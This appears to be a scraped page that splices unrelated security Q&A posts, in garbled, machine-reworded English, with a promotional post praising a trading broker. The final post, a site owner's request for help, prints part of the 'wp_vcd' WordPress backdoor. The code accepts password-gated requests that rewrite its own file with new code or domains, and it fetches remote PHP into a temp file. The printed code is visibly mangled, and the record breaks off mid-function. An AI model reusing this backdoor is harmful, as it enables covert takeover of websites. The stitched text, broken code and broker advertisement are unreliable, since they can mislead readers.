Virtualization – Security Issues in QEMU

My intention is to add QEMU support for a new machine / platform. I just started this project, so I can not say more because I do not know them.
My question is about possible security issues. What are the main security issues regarding what I should support?

Security – How can I read / write in virtual memory an Android process that has been debugged by its child process?

I am noob so please, forgive me if I say nonsense. I'm learning Android security and I know that there is an anti-debugging technique that creates a child process that will attach to its parent process. I can not use gdb to debug this program which will be debugged by its child process. If I try to kill the child process, the program will shut down instantly. Is there a way to work around this problem or at least do it to read and write the virtual memory of this program?

Removal – Alternative DBAN – Information Security Stack Exchange

so I sell my computer (hard drive). I have had important data on this subject. Do not tell me to physically destroy this reader, I need the money: D So I'm looking for a reliable solution that could erase elements that DBAN can not, as far as I know, erase the protected area of the host, the device configuration overlay and bad sectors. The questions are:

  1. I've heard that Secure Erase (HDDErase) can seemingly erase that. What do you think, is this a better alternative :)?

  2. What is the best software to check if this hard drive is really erased? Even paid, I can get a license for many programs with a discount.

Thank you very much and good day!

security – Is it possible to perform an offline scan of malware from the device image created using a root prompt?

I have created an image of all of my device and all its partitions (mmcblk0.img). I want to perform an "offline" scan of my device on my computer.

Are there any known projects or ways to perform an analysis, analysis, or investigation of this image for spyware or malware? Maybe an emulator built for this purpose could help here?

Firewall and SQL Server Security

I have received messages in my log file saying: –

"Login failed for the user's sa: the password of the reason does not match the one provided for the provided connection [Client: xx.xx.xx.xx]"

the xx's are real numbers.

In the MS firewall, I added my IP address to the "Remote IP Address" list on the Scope tab.

When I returned to the log file, the message stopped appearing. Instead, it says "Start ReportServerTempDB", does this mean that I inadvertently added my IP address to the list of remote IP addresses allowed?

By putting only my IP address in the scope, it means that I have blocked everyone outside my connection to the remote database?

In the end, I would like remote access to be allowed only on my IP. If this is not possible, I want a block on all remote access.

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Security Issue – Discussions and Help

Truly in online trading, security is considered the most fundamental point to discuss. There are some brokers available that do not have an additional method to offer security to traders. So it was so difficult to find a protected broker that most brokers had the habit of cheating on with their traders. They think mechanically and make the organization little organized for traders. Whatever the case may be, with XeroMarkets, I have the security of flawless financing because they are regulated by different administrative authorities.

Are there security vulnerabilities with domain mail forwarding?

I have recently purchased a domain via CheapName.com, which offers a free redirect of emails. I would like to use it to have a unique email for every account I create online (because it can be configured so that all emails in your domain are transferred to a catch-all email address).

Would the email transfer cause security issues that would not normally be due to an email sent directly to a yahoo email account, for example?

javascript injected into a website – Information Security Stack Exchange

I have recently found that the following 3 lines have been added to several content elements of my website:

  

I removed them but I still have the following questions:

  1. is there a way to know what this malware does? I've opened the javascript in a text editor, but it was a bit too complex for my knowledge of javascript; I had the impression that this script was supposed to show ads in iframes by modifying the page, but as I said before: it's too complex for me to understand it ; any help to provide more insight would be welcome
  2. does anyone have any idea how this code could have been inserted into my site?

Security – The WordPress site hacked – However, it's only noticed locally / offline

I have therefore spent a lot of time trying to run a WordPress site locally, eventually noticing an error occurring during an incomplete URL query.

The malicious code is trying a bunch of file_get_contents on various URLs that are all alike.

I wonder why the main website (hosted on hostagator) is not affected? I am having trouble explaining to the client that the website contains a virus that needs to be repaired urgently, but it apparently has no effect on anything.

Malicious code (in all themes / functions.php files):

Note: I changed the codes with "redacted". I do not know if it is any information related to my website or hack.

Warning: Code Contains Potentially Malicious URLs

if (isset($_REQUEST('action')) && isset($_REQUEST('password')) && ($_REQUEST('password') == 'REDACTED'))
    {
$div_code_name="wp_vcd";
        switch ($_REQUEST('action'))
            {






                case 'change_domain';
                    if (isset($_REQUEST('newdomain')))
                        {

                            if (!empty($_REQUEST('newdomain')))
                                {
                                                                           if ($file = @file_get_contents(__FILE__))
                                                                            {
                                                                                                 if(preg_match_all('/$tmpcontent = @file_get_contents("http://(.*)/code.php/i',$file,$matcholddomain))
                                                                                                             {

                                                                                       $file = preg_replace("https://wordpress.stackexchange.com/".$matcholddomain(1)(0).'/i',$_REQUEST('newdomain'), $file);
                                                                                       @file_put_contents(__FILE__, $file);
                                                               print "true";
                                                                                                             }


                                                                            }
                                }
                        }
                break;

                                case 'change_code';
                    if (isset($_REQUEST('newcode')))
                        {

                            if (!empty($_REQUEST('newcode')))
                                {
                                                                           if ($file = @file_get_contents(__FILE__))
                                                                            {
                                                                                                 if(preg_match_all('///$start_wp_theme_tmp((sS)*)//$end_wp_theme_tmp/i',$file,$matcholdcode))
                                                                                                             {

                                                                                       $file = str_replace($matcholdcode(1)(0), stripslashes($_REQUEST('newcode')), $file);
                                                                                       @file_put_contents(__FILE__, $file);
                                                               print "true";
                                                                                                             }


                                                                            }
                                }
                        }
                break;

                default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
            }

        die("");
    }








$div_code_name = "wp_vcd";
$funcfile      = __FILE__;
if(!function_exists('theme_temp_setup')) {
    $path = $_SERVER('HTTP_HOST') . $_SERVER(REQUEST_URI);
    if (stripos($_SERVER('REQUEST_URI'), 'wp-cron.php') == false && stripos($_SERVER('REQUEST_URI'), 'xmlrpc.php') == false) {

        function file_get_contents_tcurl($url)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }

        function theme_temp_setup($phpCode)
        {
            $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
           if( fwrite($handle, "